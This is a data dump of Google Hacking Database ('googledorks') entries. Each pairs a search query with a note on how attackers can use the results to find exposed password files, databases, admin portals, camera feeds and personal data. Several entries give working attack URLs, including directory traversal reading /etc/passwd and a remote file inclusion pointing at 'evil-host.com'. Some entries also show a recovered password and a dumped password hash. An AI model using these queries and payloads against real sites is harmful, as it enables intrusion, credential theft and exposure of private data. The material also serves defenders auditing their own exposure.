Canon Webview netcams	intitle:liveapplet inurl:LvAppl	Canon has a series of netcams that all use the "WebView LiveScope" software. They are frequently used by japanese sites. Unfortunately most are crawled by their IP address so determining their location becomes more difficult. Some model names are:* VB-C10* VB-101* VB-C50iThis search looks for the java applet called "LiveApplet" that is used by Canon's network camera feeds. There is also a standalone (free) program, that is easier to control and lets you save bookmarks. It's available for PC and MACs. The win32 download is here: http://www.x-zone.canon.co.jp/cgi-bin/nph-wvh35-cs.cgi
inurl:"index.php?module=ew_filemanager"	inurl:"index.php?module=ew_filemanager"	http://www.cirt.net/advisories/ew_file_manager.shtml:Product: EasyWeb FileManager Module - http://home.postnuke.ru/index.phpDescription: EasyWeb FileManager Module for PostNuke is vulnerable to a directory traversal problem which allows retrieval of arbitrary files from the remote system. Systems Affected: EasyWeb FileManager 1.0 RC-1Technical Description: The PostNuke module works by loading a directory and/or file via the "pathext" (directory) and "view" (file) variables. Providing a relative path (from the document repository) in the "pathext" variable will cause FileManager to provide a directory listing of that diretory. Selecting a file in that listing, or putting a file name in the "view"

		variable, will cause EasyWeb to load the file specified. Only files and directories which can be read by the system user running PHP can be retrieved.Assuming PostNuke is installed at the root level:/etc directory listing:/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/etc/passwd file:/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwdFix/Workaround:Use another file manager module for PostNuke, as the authors do not appear to bemaintaining EW FileManager.Vendor Status: Vendor was contacted but did not respond.Credir: Sullo - cirt.netNOTE: mitigating factor, an attacker needs to be registred and logged on to have access rights to this module.
allinurl:"index.php" "site=sglinks"	allinurl:"index.php" "site=sglinks"	Easyins Stadtportal v4 is a German Content Management System for cities and regions. Version 4 and prior seems to be vulnerable to a code inclusion in index.php. Bugtraq: http://www.securityfocus.com/bid/10795http://www.host-vulnerable.com/stadtportal-path/index.php?site=http://www.evil-host.com
"powered by" "shoutstats" hourly daily	"powered by" "shoutstats" hourly daily	shoutstats is a fast, free Shoutcast server statistic analysis program. It produces instant and dynamic usage reports in HTML format, for viewing in a standard browser. Shoutstats is a bunch of php scripts and a RRDtool database. It has been written under a Debian GNU/Linux.http://www.glop.org/projects/shoutstatsThis search can be used to find Shoutcast servers.
intitle:"Shoutcast Administrator"	intitle:"Shoutcast Administrator"	shoutcast is software for streaming mp3 and such. This search finds the administrator page. It can be used to

		detect unlisted Shoutcast servers.
inurl:"utilities/TreeView.asp"	inurl:"utilities/TreeView.asp"	From the marketing brochure: "UltiPro Workforce Management offers you the most comprehensive and cost-effective HR and payroll solution on the market today."The default passwords are easy to guess if an employee has not logged into this system. An attacker would only need to find the loginname.
filetype:pwl pwl	filetype:pwl pwl	These are Windows Password List files and have been known to be easy to crack since the release of Windows 95. An attacker can use the PWLTools to decode them and get the users passwords. The following example has been provided:---Resource table: 0292 0294 0296 0298 (..etc..)File: C:\Downloads\2004-07\07-26\USER1.PWLUser name: 'USER1'Password: "Dial-up:'*Rna\Internet\PJIU_TAC'Password:'PJIUSCAC3000' ---
"apricot - admin" 00h	"apricot - admin" 00h	This search shows the webserver access stats as the user "admin". The language used is Japanese and the search includes the "00h" value which is only shown when the admin is logged in.
filetype:ora ora	filetype:ora ora	Greetings, The *.ora files are configuration files for oracle clients. An attacker can identify a oracle database this way and get more juicy information by searching for ora config files.This search can be modified to be more specific:- filetype:ora sqlnet - filetype:ora names
filetype:wsdl wsdl	filetype:wsdl wsdl	The XML headers are called *.wsdl files.they can include data, functions or objects. An attacker with knowledge of XML coding can sometimes do evil things with this stuff.
filetype:inc inc intext:setcookie	filetype:inc inc intext:setcookie	Cookies are often used for authentication and a lot of other stuff.The "inc" php header files often

		include the exact syntax of the cookies. An attacker may create his own cookie with the information he has taken from the header file and start cookie poisining.
inurl:/wwwboard	inurl:/wwwboard	The software wwwboard stores its passwords in a file called "passwd.txt".An attacker may try to search forinurl:/wwwboardthen add a "passwd.txt" to it (../wwwboard/passwd.txt) and decrypt des DES passwords.
"allow_call_time_ pass_reference" "PATH_INFO"	"allow_call_time_pass_reference" "PATH_INFO"	Returns publically visible pages generated by the php function phpinfo(). This search differs from other phpinfo() searches in that it doesn't depend on the filename being called "phpinfo.php". Some result files that include phpinfo are:
inurl:*db filetype:mdb	inurl:*db filetype:mdb	More Microsoft Access databases for your viewing pleasure. Results may vary, but there have been passwords discovered with this search.
filetype:fp5 fp5 -site:gov -site:mil -"cvs log"	filetype:fp5 fp5 -site:gov -site:mil -"cvs log"	These are various kinds of FileMaker Pro Databases (*.fp5 applies to both version 5 and 6).
inurl:gotoURL.asp ?url=	inurl:gotoURL.asp?url=	ASP Nuke is an open-source software application for running a community-based web site on a web server. By open-source, we mean the code is freely available for others to read, modify and use in accordance with the software license. The requirements for the ASP Nuke content management system are: 1. Microsoft SQL Server 2000 and 2. Microsoft Internet Information Server (IIS) 5.0 (http://www.aspnuke.com/)On 30 Dec. 2003 the hackers Cobac and Alnitak discovered a bug in Asp Nuke (version 1.2, 1.3, and 1.4)Problem : the file addurl-inc.asp included in the file gotourl.asp does not sanitize the input vars and make SQL injection

		possible.For a examples check the original advisory posted to a spanish forum: http://66.102.11.104/search?q=cache:10-ze5DIJ-UJ:www.elhacker.net/foro/index.php%3Ftopic%3D11830.0%3Bprev_next%3Dprev%22&hl=en(link broken in two lines, glue them together first :-)An attacker can obtain the user and admin passwords by crafting a SQL statement.
Phasers 4500/6250/8200/8400	intext:centreware inurl:status	More Xerox printers (Phasers 4500/6250/8200/8400). An attacker can access the webinterface with this search.
filetype:fp3 fp3	filetype:fp3 fp3	These are FileMaker Pro version 3 Databases.
filetype:fp7 fp7	filetype:fp7 fp7	These are Filemaker Pro version 7 databases files.
filetype:cfg auto_inst.cfg	filetype:cfg auto_inst.cfg	Mandrake auto-install configuration files. These contain information about the installed packages, networking setttings and even user accounts.
intitle:Node.List Win32.Version.3.11	intitle:Node.List Win32.Version.3.11	synchronet Bulletin Board System Software is a free software package that can turn your personal computer into your own custom online service supporting multiple simultaneous users with hierarchical message and file areas, multi-user chat, and the ever-popular BBS door games.An attacker could use this search to find hosts with telnet access. In some cases the username may even be visible on the node list page, thus leaving only the password to guess.
"powered by antiboard"	"powered by antiboard"	"AntiBoard is a small and compact multi-threaded bulletin board/message board system written in PHP. It uses either MySQL or PostgreSQL as the database backend, and has support for different languages. It is not meant as the end all be all of bulletin boards, but

		rather something to easily integrate into your own page."There is an excellent vulnerability report at:http://www.securiteam.com/unixfocus/5XP010ADPY.htmlVendor Status:The vendor has been informed of the issues on the 28th July 2004, however no fix is planned in the near future.
"AutoCreate=TRUE password=*"	"AutoCreate=TRUE password=*"	This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. For those who can read Japanese, check out the author's site at: http://www.coara.or.jp/~passy/Note: google to find the results of this software.
intext:"d.aspx?id" || inurl:"d.aspx?id"	intext:"d.aspx?id" || inurl:"d.aspx?id"	"The YouSendIt team was formed to tackle a common problem: secure transmission of large documents online without the use of clumsy client software, mail servers with limited storage space, and sharing passwords. By eliminating the size constraints and security risks of sending files by email, YouSendIt has turned the most common form of communication on the Internet into the best method of secure document transimssion."This search shows the files that were transmitted. A malicious user could download them from these pages. This company tends to hold the users responsible for content, while at the same time exposing their pages to Google.. way to go guys..
filetype:pass pass intext:userid	filetype:pass pass intext:userid	Generally, these are dbman password files. They are not cleartext, but still allow an attacker to harvest usernames and optionally crack passwords offline.
inurl:/cgi-bin/sqwebmail?noframes=1	inurl:/cgi-bin/sqwebmail?noframes=1	sQWebmail login portals.
filetype:ini	filetype:ini ServUDaemon	The servU FTP Daemon ini file

ServUDaemon		contains setting and session information including usernames, passwords and more.
inurl:comersus_message.asp	inurl:comersus_message.asp	About Comercus: "Comersus is an active server pages software for running a professional store, seamlessly integrated with the rest of your web site. Comersus Cart is free and it can be used for commercial purposes. Full source code included and compatible with Windows and Linux Servers."Comersus Open Technologies Comersus Cart has Multiple Vulnerabilities: http://www.securityfocus.com/bid/10674/info/ This search finds the XSS vulnerable file comersus_message.asp?message= ..No version info is included with the search. Not all results are vulnerable.
intitle:"teamspeak server-administration	intitle:"teamspeak server-administration	TeamSpeak is an application which allows its users to talk to each other over the internet and basically was designed to run in the background of online games. TeamSpeak uses a webadmin login portal to change server settings remotely. Usually not an issue, however it might be when someone lets google pick up their portal.
ext:pl inurl:cgi intitle:"FormMail *" -"*Referrer" -"* Denied" -sourceforge -error -cvs -input	ext:pl inurl:cgi intitle:"FormMail *" -"*Referrer" -"* Denied" -sourceforge -error -cvs -input	FormMail is a Perl script written by Matt Wright to send mail with sendmail from the cgi-gateway. Early version didn' have a referer check. New versions could be misconfigured. Spammers are known to hunt them down (by means of cgi-scanning) and abuse them for their own evil purposes if the admin forgot to check the settings.http://www.securityfocus.com/bid/3954/discussion/
(inurl:"robot.txt" | inurl:"robots.txt") intext:disallow filetype:txt	(inurl:"robot.txt" | inurl:"robots.txt") intext:disallow filetype:txt	Webmasters wanting to exclude search engine robots from certain parts of their site often choose the use of a robot.txt file on the root of the server. This file basicly tells the bot which

		directories are supposed to be off-limits.An attacker can easily obtain that information by very simply opening that plain text file in his browser. Webmasters should *never* rely on this for real security issues. Google helps the attacker by allowing a search for the "disallow" keyword.
intext:"Session Start * * * *:*:* *" filetype:log	intext:"Session Start * * * *:*:* *" filetype:log	These are IRC and a few AIM log files. They may contain juicy info or just hours of good clean newbie bashing fun.
"WebSTAR Mail - Please Log In"	"WebSTAR Mail - Please Log In"	@stake, Inc. advisory: "4D WebSTAR is a software product that provides Web, FTP, and Mail services for Mac OS X. There are numerous vulnerabilities that allow for an attacker to escalate privileges or obtain access to protected resources."See also: http://www.securityfocus.com/archive/1/368778
Ultima Online loginservers	filetype:cfg login "LoginServer="	This one finds login servers for the Ultima Online game.
inurl:nuke filetype:sql	inurl:nuke filetype:sql	This search reveals database dumps that most likely relate to the php-nuke or postnuke content management systems. These database dumps contain usernames and (sometimes) encrypted passwords for users of the system.
intitle:"please login" "your password is *"	intitle:"please login" "your password is *"	These administrators were friendly enough to give hints about the password.
mail filetype:csv -site:gov intext:name	mail filetype:csv -site:gov intext:name	CSV Exported mail (user) names and such.
filetype:xls -site:gov inurl:contact	filetype:xls -site:gov inurl:contact	Microsoft Excel sheets containing contact information.
intext:"Warning: * am able * write ** configuration file" "includes/configure.php" -Forums	intext:"Warning: * am able * write ** configuration file" "includes/configure.php" -Forums	OsCommerce has some security issues, including the following warning message: "Warning: I am able to write to the configuration file". Additional information on this can be found at

		http://www.fluxforums.com/showthread.php?p=14883#post14883With this search an attacker can find vulnerable OsCommerce servers and can build his attack from there.
inurl:cgi-bin/ultimatebb.cgi?ubb=login	inurl:cgi-bin/ultimatebb.cgi?ubb=login	These are login pages for Infopop's message board UBB.classic. For the UBB.threads you can use this search This next search finds all UBB pages with the infopop image and a link to the developers.http://www.google.com/search?num=100&&safe=off&q=link%3Ahttp%3A%2F%2Fwww.infopop.com%2Flanding%2Fgoto.php%3Fa%3Dubb.classic&filter=1
inurl:/db/main.mdb	inurl:/db/main.mdb	ASP-Nuke database file containing passwords.This search goes for the direct location and has few results. For more hits an attacker would try to find ASP-Nuke sites another way (search googledorks for them) and change the URL to the database location.
ext:asp inurl:pathto.asp	ext:asp inurl:pathto.asp	The UBB trial version contains files that are not safe to keep online after going live. The install files clearly state so:CAUTIONS Do not leave pathto.asp or ubb6_test.cgi on your server. Delete them from the server when you are done. Leaving them in place poses a security risk."This searches pathto.asp files and allows an attacker to know the exact installed path of the software.Examples:The path to your Site is --g:\0E5\goldenstateeng.xxx\webThe path to your Site is --D:\inetpub\wwwroot\01xx738\mc10s9izz
"this proxy is working fine!" "enter *" "URL***" * visit	"this proxy is working fine!" "enter *" "URL***" * visit	These are test pages for some proxy program. Some have a text field that allows you to use that page as a proxy. The experts comment on this is there are much better solutions for surfing anonymously.

filetype:bak inurl:"htaccess|passwd|shadow|htusers"	filetype:bak inurl:"htaccess|passwd|shadow|htusers"	This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version). Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.
"http://*:*@www" domainname	"http://*:*@www" bob:bob	This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net"http://*:*@www" bangbus or "http://*:*@www"bangbusAnother way is by just typing"http://bob:bob@www"
filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error"	filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error"	This search will show an attacker some PHP error logs wich may contain information on wich an attack can be based.
"powered by CuteNews" "2003..2005 CutePHP"	"powered by CuteNews" "2003..2005 CutePHP"	This finds sites powered by various CuteNews versions. An attacker use this list and search the online advisories for vulnerabilities. For example: "CuteNews HTML Injection Vulnerability Via Commentaries", Vulnerable Systems: * CuteNews version 1.3.x (http://www.securiteam.com/unixfocus/5BP0N20DFA.html)
intext:"404 Object Not Found" Microsoft-IIS/5.0	intext:"404 Object Not Found" Microsoft-IIS/5.0	This search finds IIS 5.0 error pages = IIS 5.0 Server
filetype:conf oekakibbs	filetype:conf oekakibbs	Oekakibss is a japanese anime creation application. The config file tells an attacker the encrypted password.
Novell NetWare intext:"netware management portal version"	Novell NetWare intext:"netware management portal version"	Netware servers (v5 and up) use a web-based management utility called Portal services, which can be used to view files on a volume, view server health statistics, etc. While you must log into the Portal Manager to view any of the data, it will accept blank passwords. So any Netware username defined in the server's NDS database

		w/o a password can authenticate.After the Google results are displayed, an attacker wil go to the company base web url and learn about employees, preferably their email addresses. Then bounce to the portal management login and try their username w/o a password.
Achievo webbased project management	inurl:"dispatch.php?atknodetype" | inurl:class.at	Achievo is a free web-based project management tool for business-environments. Achievo's is mainly used for its project management capabilities. According to the site securitytracker.com remote code execution is possible by modifying a certain php script in this software suite. More information is available at: http://www.securitytracker.com/alerts/2002/Aug/1005121.html
intitle:"PHP Explorer" ext:php (inurl:phpexplorer.php | inurl:list.php | inurl:browse.php)	intitle:"PHP Explorer" ext:php (inurl:phpexplorer.php | inurl:list.php | inurl:browse.php)	This searches for PHP Explorer scripts. This looks like a file manager with some nice extra options for an attacker, such as phpinfo, create/list directories and execute command shell. Not many results in this search and some only cached. Over time this may prove to be interesting if Google finds more (or someone finds a better search method for them).
"ftp://" "www.eastgame.net"	"ftp://" "www.eastgame.net"	Use this search to find eastgame.net ftp servers, loads of warez and that sort of thing."thankyou4share" !
intitle:"ITS System Information" "Please log on to the SAP System"	intitle:"ITS System Information" "Please log on to the SAP System"	Frontend for SAP Internet Transaction Server webgui service.
LeapFTP intitle:"index.of./" sites.ini modified	LeapFTP intitle:"index.of./" sites.ini modified	The LeapFTP client configuration file "sites.ini" holds the login credentials for those sites in plain text. The passwords seems to be encrypted.
intitle:Login * Webmailer	intitle:Login * Webmailer	1&1 Webmail login portals. This is made by a german company called Internet United active in the hosting providers area. They have a server

		login product wich can be found by GooglingThis is all not very exiting as there have been no vulnerabilities reported on this software yet.
inurl:"gs/adminlogin.aspx"	inurl:"gs/adminlogin.aspx"	GradeSpeed seems to be a .NET application to administer school results for several schools using the web. If you do not select a school an error is reported. The HTML source code shows path information, for example: option value="E:\GRADESPEED\DRHARMONWKELLEYELEMENTARY|Dr H. W K. E.|101">Dr ...
"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"	"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"	This search gives hounderd of existing curriculum vitae with names and adress. An attacker could steal identity if there is an SSN in the document.
intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"	intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"	search to show online Novell Groupwise web access portals.
intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"	intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"	search for phpMyAdmin installations that are configured to run the MySQL database with root priviledges.
"Powered by Gallery v1.4.4"	"Powered by Gallery v1.4.4"	http://www.securityfocus.com/bid/10968/discussion/"A vulnerability is reported to exist in Gallery that may allow a remote attacker to execute malicious scripts on a vulnerable system. This issue is a design error that occurs due to the 'set_time_limit' function.The issue presents itself because the 'set_time_limit' function forces the application to wait for 30-seconds before the verification and discarding of non-image files takes place. This allows for a window of opportunity for an attacker to execute a malicious script on a server.Gallery 1.4.4 is reported prone to this issue,

		however, other versions may be affected as well. "
Quicken data files	filetype:QDF QDF	The QDATA.QDF file (found sometimes in zipped "QDATA" archives online, sometimes not) contains financial data, including banking accounts, credit card numbers, etc. This search has only a couple hits so far, but this should be popular in the coming year as Quicken 2005 makes it very easy and suggests to backup your data online.
filetype:ini wcx_ftp	filetype:ini wcx_ftp	This searches for Total commander FTP passwords (encrypted) in a file called wcx_ftp.ini. Only 6 hits at the moment, but there may be more in the future.
4images Administration Control Panel	"4images Administration Control Panel"	4images Gallery - 4images is a web-based image gallery management system. The 4images administration control panel let you easily modify your galleries.
intitle:index.of /AlbumArt_	intitle:index.of /AlbumArt_	Directories containing commercial music.AlbumArt_{.*}.jpg are download/create by MS-Windows Media Player in music directory.
inurl:robpoll.cgi filetype:cgi	inurl:robpoll.cgi filetype:cgi	robpoll.cgi is used to administrate polls.The default password used for adding polls is 'robpoll'. All of the results should look something like this: "http://www.example.com/robpoll.cgi?start". An attacker may change robpoll.cgi pointing to admin like this: "http://www.example.com/robpoll.cgi?admin".
(filetype:mail | filetype:eml | filetype:mbox | filetype:mbx) intext:password|subject	(filetype:mail | filetype:eml | filetype:mbox | filetype:mbx) intext:password|subject	storing emails in your webtree isnt a good idea.with this search google will show files containing emails like mail,eml,mbox or mbx with the keywords"password" or "subject" in the mail data.
filetype:qbb qbb	filetype:qbb qbb	This search will show QuickBooks Bakup Files. Quickbook is financial accounting software so storing these

		files in a webtree is not a smart idea.
filetype:bkf bkf	filetype:bkf bkf	This search will show backupfiles for xp/2000 machines.Of course these files could contain nearly everything, depending on the user selection and they can also be password protected.
inurl:"plog/register.php"	inurl:"plog/register.php"	pLog is a popular form of bloggin software. Currently there are estimated about 1450 sites running it. The installation documents clearly warn about removing files after installation for security purposes:"If you are not planning to allow internet users to create new blogs in this server, then you should also remove register.php."This search finds that register.php form of course :)Below is some more general information about pLog.Vendor site: hxxp://www.plogworld.org/Admin portals http://sitename/plog/admin.phpInstallation wizard: http://sitename/plog/wizard.phpConfig file (mysql db pass): http://sitename/plog/config/config.properties.phpTemp files: http://sitename/plog/tmp/Gallery files: http://sitename/plog/gallery/Blog search engine: http://www.plogworld.org/ploogle/
link:http://www.toastforums.com/	link:http://www.toastforums.com/	Toast Forums is an ASP message board on the Internet. Toast Forums also has all the features of an advanced message board (see hxxp://www.toastforums.com/). The problem is in the install documentation (quoting):-- start quote --2. Rename the data.mdb file to a different name. After renaming the data.mdb file, open constants.asp and change the tstDBConnectString constant to reflect the new name. -- end quote --This search finds sites running Toast Forum by using the LINK: operator. Trial and

		error is needed to find the database file from the results by changing the URL. Member data can be found in the table "tstdb_Member". It looks like this:"ID" "FName" "LName" "Username" "Password" "Email" "HideEmail" "ICQ" "Homepage" "Signature" "IP" "Skin" "IncludeSignature" "NotifyDefault" "PostCount" "LastLoginDate" "LastPostDate"Passwords are encrypted with the RC4 algoritm, so an attacker would find cracking them is (more) difficult (than usual).
snitz! forums db path error	databasetype. Code : 80004005. Error Description :	snitz forums uses a microsoft access databases for storage and the default name is "Snitz_forums_2000.mdb". The installation recommends changing both the name and the path. If only one is changed this database error occurs. An attacker may use this information as a hint to the location and the changed name for the database, thus rendering the forum vulnerable to hostile downloads.
"Powered by Ikonboard 3.1.1"	"Powered by Ikonboard 3.1.1"	IkonBoard (http://www.ikonboard.com/) is a comprehensive web bulletin board system, implemented as a Perl/CGI script.There is a flaw in the Perl code that cleans up user input before interpolating it into a string which gets passed to Perl's eval() function, allowing an attacker to evaluate arbitrary Perl and hence run arbitrary commands.More info at: http://www.securitytracker.com/alerts/2003/Apr/1006446.htmlThe bug was fixed in 3.1.2.
inurl:snitz_forums_2000.mdb	inurl:snitz_forums_2000.mdb	The SnitzTM Forums 2000 Version 3.4.04 Installation Guide and Readme says: "it is strongly recommended that you change the default database name from snitz_forums_2000.mdb to a cryptic or not easy to guess name."Of

		course, we know readme's are for lamers.. right admins ?[murfie@forofo googledorks]$ mdb-export snitz_forums_2000.mdb FORUM_MEMBERSMEMBER_ID, M_STATUS,M_NAME,M_USERNAME,M_PASSWORD,M_EMAIL, [etc]1,1,"adminadmin","58180bb12beb55a4bffbxxde75cxxc53dcc8061c3cdee52e0ebdcd74049d374e","yourmail@server.com"," "," ","","",1,1,1,3," "," "," ","20030918120147",2,"20030918120207","20030918120224","Forum Admin","10.xx.xx.72",0,0,1,"000.000.000.000","","","","","","","","","","",""," "," ","",""," ","","","","",1(data xx'd at some points) The password hash value is a SHA256 encoded string (with no salting). Every attacker knows they can be broken with a dictionary attack using a very simpel perl or C program.http://murfnet.xs4all.nl/public/scripts/perl/desnitz.txt
WebAPP directory traversal	inurl:/cgi-bin/index.cgi inurl:topics inurl:viewca	WebAPP is advertised as the internet's most feature rich, easy to run PERL based portal system. The WebAPP system has a serious reverse directory traversal vulnerabilityhttp:///cgi-bin/index.cgi?action=topics&viewcat=../../../../../../../etc/passwd%00http:///cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00Detailed info : http://www.packetstormsecurity.com/0408-exploits/webapp.traversal.txtCredits goes to PhTeam for discovering this vulnerability.
filetype:rdp rdp	filetype:rdp rdp	These are Remote Desktop Connection (rdp) files. They contain the settings and sometimes the credentials to connect to another windows computer using the RDP protocols.
filetype:reg "Terminal Server	filetype:reg "Terminal Server Client"	These are Microsoft Terminal Services connection settings registry files. They

Client"		may sometimes contain encrypted passwords and IP addresses.
inurl:"nph-proxy.cgi" "Start browsing through this CGI-based proxy"	inurl:"nph-proxy.cgi" "Start browsing through this CGI-based proxy"	Observing the web cracker in the wild, one feels like they are watching a bear. Like a bear stocks up on food and then hibernates, a web cracker must stock up on proxies, and then hack until they run out.Web crackers are a distinct breed, and many do not comfort well with the draconian measures that many other crackers take, such as port and service scanning, the modern web cracker finds such tactics much too intrusive. This leaves the web cracker with the only viable option to come in contact with a large number of proxies being to use public proxy lists. These are of course very slow, and very very unstable, and do not allow the cracker much time between his proxy runs.Luckily google gives them another option, if they are smart enough to find it.CGI-proxy (http://www.jmarshall.com/tools/cgiproxy/) is a CGI-based proxy application. It runs on a web server, and acts as an http proxy, in CGI form. A prudent site owner would hide it behind .htaccess, as most do, but with a powerful tool like google, the inprudent few who leave it open can quickly be seperated from the wise masses.CGI-proxy's default page contains the text, as you can see in the demo on their site:"Start browsing through this CGI-based proxy by entering a URL below. Only HTTP and FTP URLs are supported. Not all functions will work (e.g. some JavaScript), but most pages will be fine."The proxy as it resides on a server is most often called nph-proxy.cgi. A web cracker can now use google to enumerate his list of proxy servers, like so:inurl:"nph-proxy.cgi" "Start browsing through this CGI-based proxy"More results can be obtained by

		admitting the "inurl:nph-proxy.cgi" constraint, but much more trash is generated as well.
intitle:"Index of *" inurl:"my shared folder" size modified	intitle:"Index of *" inurl:"my shared folder" size modified	These are index pages of "My Shared Folder". Sometimes they contain juicy stuff like mp3's or avi files. Who needs pay sites for music when you got Google ? :) Uhm, well except for the copyright issue.
E-market remote code execution	inurl:"/becommunity/community/index.php?pageurl="	E-market is commercial software made by a korean company(http://www.bbs2000.co.kr). A vulnerability in this software was reported to Bugtraq. The exploit is possible with the index.php script:http://[TARGET]/becommunity/community/index.php?pageurl=[injection URL]http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=[injection URL] For more information read this:http://echo.or.id/adv/adv06-y3dips-2004.txt Author: y3dipsDate: Sept, 7th 2004Location: Indonesian, Jakarta
filetype:pot inurl:john.pot	filetype:pot inurl:john.pot	John the Ripper is a popular cracking program every hacker knows. It's results are stored in a file called john.pot.This search finds such results files, currently only one. Also No results for the distributed john version (djohn.pot) today :)PS: This was posted to the "fun" forum, so don't take this too seriously !
Gallery configuration setup files	intitle:gallery inurl:setup "Gallery configuration"	Gallery is a popular images package for websites. Unfortunately, with so many users, more bugs will be found and Google will find more installations. This search finds Gallery sites that seem to have left more or less dangerous files on their servers, like resetadmin.php and others.We call it Gallery in Setup mode :)
filetype:xls	filetype:xls inurl:"email.xls"	Our forum members never get tired of

inurl:"email.xls"		finding juicy MS office files. Here's one by urban that finds email addresses.
filetype:pdb pdb backup (Pilot | Pluckerdb)	filetype:pdb pdb backup (Pilot | Pluckerdb)	Hotsync database files can be found using "All databases on a Palm device, including the ones you create using NS Basic/Palm, have the same format. Databases you create using NS Basic/Palm have the backup bit set by default, so they are copied to your "x:\palm\{username}\backup"The forum members suggested adding Pilot and Pluckerdb (linux software for pda), so the results are more clean. (pdb files can be used for protein databases, which we don't want to see).Currently we don't know of a program to "read" these binary files.
filetype:pl "Download: SuSE Linux Openexchange Server CA"	filetype:pl "Download: SuSE Linux Openexchange Server CA"	this search will get you on the web administration portal of linux open exchange servers.
intitle:"dreambox web"	intitle:"dreambox web"	this search will show web administration interfaces of linux dream boxes.The Dreambox is one of the popular 3rd generation boxes. Based on a powerful IBM PowerPC (not PC !) with an MPEG1/2 hardware decoder, this box is FULLY open, with an open source Linux operating system. The Dreambox not only offers high quality video and audio, but also has a variety of connections to the outside world: Ethernet, USB, PS2, Compact Flash and two Smartcard readers. The box can handle any dish configuration, an unlimited number of channels or satellites, has a very fast channel scan, allows for direct digital recording, etc.
PHP-Nuke - create super user right now !	"create the Super User" "now by clicking here"	PHP-Nuke is a popular web portal thingie. It has popped up in the Google dorks before. I think we let this one describe itself, quoting from a

		vulnerable page:"Welcome to PHP-Nuke!Congratulations! You have now a web portal installed!. You can edit or change this message from the Administration page. For security reasons the best idea is to create the Super User right NOW by clicking HERE."
filetype:asp DBQ=" * Server.MapPath(" *.mdb")	filetype:asp DBQ=" * Server.MapPath("*.mdb")	This search finds sites using Microsoft Access databases, by looking for the the database connection string. There are forums and tutorials in the results, but also the real databases. An attacker can use this to find the name and location of the database and download it for his viewing pleasure, which may lead to information leakage or worse.
intitle:"TUTOS Login"	intitle:"TUTOS Login"	TUTOS stands for "The Ultimate Team Organization Software." This search finds the login portals to TUTOS.Adding scheme.php in the /php/ directory seems to allow cool things. There seems to be a foothold for SQL table structures and, upon errors, directory structure of the server. It is said that with the username linus and the password guest you can see what it looks like when your logged in. This is unconfirmed as of now.
"Login to Usermin" inurl:20000	"Login to Usermin" inurl:20000	Usermin is a web interface that can be used by any user on a Unix system to easily perform tasks like reading mail, setting up SSH or configuring mail forwarding. It can be thought of as a simplified version of Webmin designed for use by normal users rather than system administrators.
filetype:lit lit (books|ebooks)	filetype:lit lit (books|ebooks)	Tired of websearching ? Want something to read ? You can find Ebooks (thousands of them) with this search..LIT files can be opened with Microsoft Reader (http://www.microsoft.com/reader/)
"Powered *:	"Powered *: newtelligence"	DasBlog is reportedly susceptible to an

newtelligence" ("dasBlog 1.6"| "dasBlog 1.5"| "dasBlog 1.4"|"dasBlog 1.3")	("dasBlog 1.6"| "dasBlog 1.5"| "dasBlog 1.4"|"dasBlog 1.3")	HTML injection vulnerability in its request log. This vulnerability is due to a failure of the application to properly sanitize user-supplied input data before using it in the generation of dynamic web pages. Versions 1.3 - 1.6 are reported to be vulnerable.More:http://www.securityfocus.com/bid/11086/discussion/
Lotus Domino address books	inurl:"/names.nsf?OpenDatabase"	This search will return any Lotus Domino address books which may be open to the public. This can contain a lot of detailed personal info you don't want to fall in the hands of your competitors or hackers. Most of them are password protected.
intitle:"Login - powered by Easy File Sharing Web Server"	intitle:"Login - powered by Easy File Sharing Web	Easy File Sharing Web Server is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE,Netscape,Opera etc.)". More information at: http://www.securityfocus.com/bid/11034/discussion/An attacker can reportedly bypass the authentication by entering the the name of the virtual folder directly.
intitle:"Tomcat Server Administration"	intitle:"Tomcat Server Administration"	This finds login portals for Apache Tomcat, an open source Java servlet container which can run as a standalone server or with an Apache web server.
ez Publish administration	Admin intitle:"eZ publish administration"	Thousands of enterprises, governmental offices, non-profit organizations, small and middle sized companies and educational institutions around the world trust eZ publish for running their web solutions.Vendor site: http://www.ez.no/Vulnerabilities: http://search.securityfocus.com/swsearch?query=ez+publish&sbm=bid&submit=Search%21&metaname=alldoc&sort=swishlastmodifiedDepending on the version two queries can usedAdmin intitle:"eZ publish administration"intitle:"Login"

		"Welcome to eZ publish administration"Crosssite Scriting, Information Disclosure, Pathdisclosure available on older versions
inurl:administrator "welcome to mambo"	inurl:administrator "welcome to mambo"	Mambo is a full-featured content management system that can be used for everything from simple websites to complex corporate applications. Continue reading for a detailed feature list.Vendor: http://www.mamboserver.com/Cross Site Scripting and SQL injection exist in some versions 4.5 current version is 4.5.1RC3 Vulnerabilities: http://search.securityfocus.com/swsearch?query=mambo+open+source&sbm=bid&submit=Search%21&metaname=alldoc
"Powered by DCP-Portal v5.5"	"Powered by DCP-Portal v5.5"	DCP-Portal is more a community system than a CMS - it nevertheless calls itsself CMS. They have never seen a real CMS. Version 5.5 is vulnerable sql injection.Vulnerabilities: http://search.securityfocus.com/swsearch?query=dcp-portal&sbm=bid&submit=Search%21&metaname=alldoc
inurl:"typo3/index.php?u=" -demo	inurl:"typo3/index.php?u=" -demo	TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets, featuring a set of ready-made interfaces, functions and modules.Vendor: http://www.typo3.com/Vulns: http://search.securityfocus.com/swsearch?query=Typo3&sbm=bid&submit=Search%21&metaname=alldoc
